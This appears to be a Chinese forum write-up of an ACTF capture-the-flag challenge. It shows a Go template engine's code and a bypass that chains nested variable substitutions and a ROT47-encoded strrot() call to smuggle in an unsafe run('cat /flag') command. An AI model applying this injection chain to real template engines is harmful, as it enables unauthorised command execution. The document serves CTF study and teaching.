自定义模板引擎的 RCE 绕过:从嵌套变量到 strrot “特洛伊木马”
工整一些,主要是想探讨一下一个有趣的替换模板问题,也就是嵌套正则导致的绕过,来源于ACTF
templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`)
templateVarRE = regexp.MustCompile(`(?is)%(.*)%`)
templateFuncRE = regexp.MustCompile(`(?is)^<\\\s*?(([a-z0-9_]+)\('([^']*?)'\);\s*?(unsafe)?\s*?)\s*?/>$`)
quotedCommandRE = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$`)
在我看来有点像贪婪和非贪婪的解析错位导致的逃逸
func parseTemplateString(input string, vars map[string]string) (string, error) {
out := input
for i := 0; i < 100; i++ {
cmd := templateCommandRE.FindString(out)
if cmd == "" {
return out, nil
}
replacement, err := commandHandler(cmd, vars)
if err != nil {
return "", err
}
out = strings.ReplaceAll(out, cmd, replacement)
}
return "", errors.New("template recursion limit exceeded")
}
func commandHandler(cmd string, vars map[string]string) (string, error) {
handled := cmd
if matches := templateVarRE.FindStringSubmatch(cmd); matches != nil {
name := matches[1]
handled = strings.ReplaceAll(handled, "%"+name+"%", "'"+getVar(name, vars)+"'")
} else if matches := templateFuncRE.FindStringSubmatch(cmd); matches != nil {
body := matches[1]
funcName := strings.ToLower(matches[2])
param := matches[3]
unsafe := matches[4] != ""
fn, ok := templateFuncs[funcName]
if !ok {
return "undefined", nil
}
if !unsafe && !fn.safe {
return "", errAccessDenied
}
res, err := fn.call(param)
if err != nil {
return "", err
}
handled = strings.ReplaceAll(handled, body, "'"+res+"'")
}
if handled != cmd {
return handled, nil
}
if !quotedCommandRE.MatchString(cmd) {
return "undefined", nil
}
out := strings.ReplaceAll(cmd, "'", "")
out = strings.ReplaceAll(out, `<\`, "")
out = strings.ReplaceAll(out, `/>`, "")
return out, nil
}
需要构造的命令需要包含unsafe才能command执行,但是这里只能控制%name%并且没法确定结构,
[程序员] v 友们 windows 电脑用 codex/claude code 一般用什么终端?感觉系统原生终端/powershell 有点难用
oai再度close的时刻 我第一次把Codex专属gpt接入chatbox(手机客户端)
可以细看模板的替换规律,进模板之前都会做一次贪婪匹配
templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`)
然后第二层就是替换%%模板,又或者传进的是函数,那就检查函数,
得益于在这开始是循环进行的,也就是
for i := 0; i < 100; i++ {
可以进行嵌套体的传入,也就是说,第一步会消去%%化为’‘并且将模板原封不动传入,这里是贪婪匹配,在最后如果非函数格式,又会对消除’ ’
并且上述的
"strrot": {
safe: true,
call: func(value string) (string, error) { return strrot(value), nil },
},
函数可以原封不动return字符串,
name = "<<%n1%"
n1 = "%n2%"
n2 =r"\\%n3%"
n3 = "%n4%"
n4 = "strrot(%"
这样嵌套体进行上传,数次%%替换就是
<\ '<<''\\''strrot(%''''' />
这样并非函数在检查到非%%和函数的情况下
消除对称的’ '后就是
<\<<\\strrot(% />
再消除<\ />后就成了
<\strrot(%,
紧接着就进入了新一轮匹配
这样就是贪婪匹配了,接下来的模板,直到下一个>,因为gin对于变量名很宽松
这样就可以构造出很长的变量名,而所以说
<\strrot(%xxxx\>
中间的xxxx可以进行任意替换,
并且strrot函数可以原封不动返回,看到这我想,妙哉~~
如此再利用%%替换为’'可以直接替换为函数体,但是怎么插入拼接需要的执行体呢
编码,是的,strrot函数会返回解码内容,
ROT47("/><\run('cat /flag');unsafe/>")
于是变成了
<\strrot('<rotated_payload>'); />
然后整个结构体就变成了
<\/><\run('cat /flag');unsafe/>/>
最开始的非贪婪匹配又会将空的</>删去,
紧接着匹配的就是
<\run('cat /flag');unsafe/>
如此一来就可以对于模板的限制进行逃逸了,好困,bye
1 个帖子 - 1 位参与者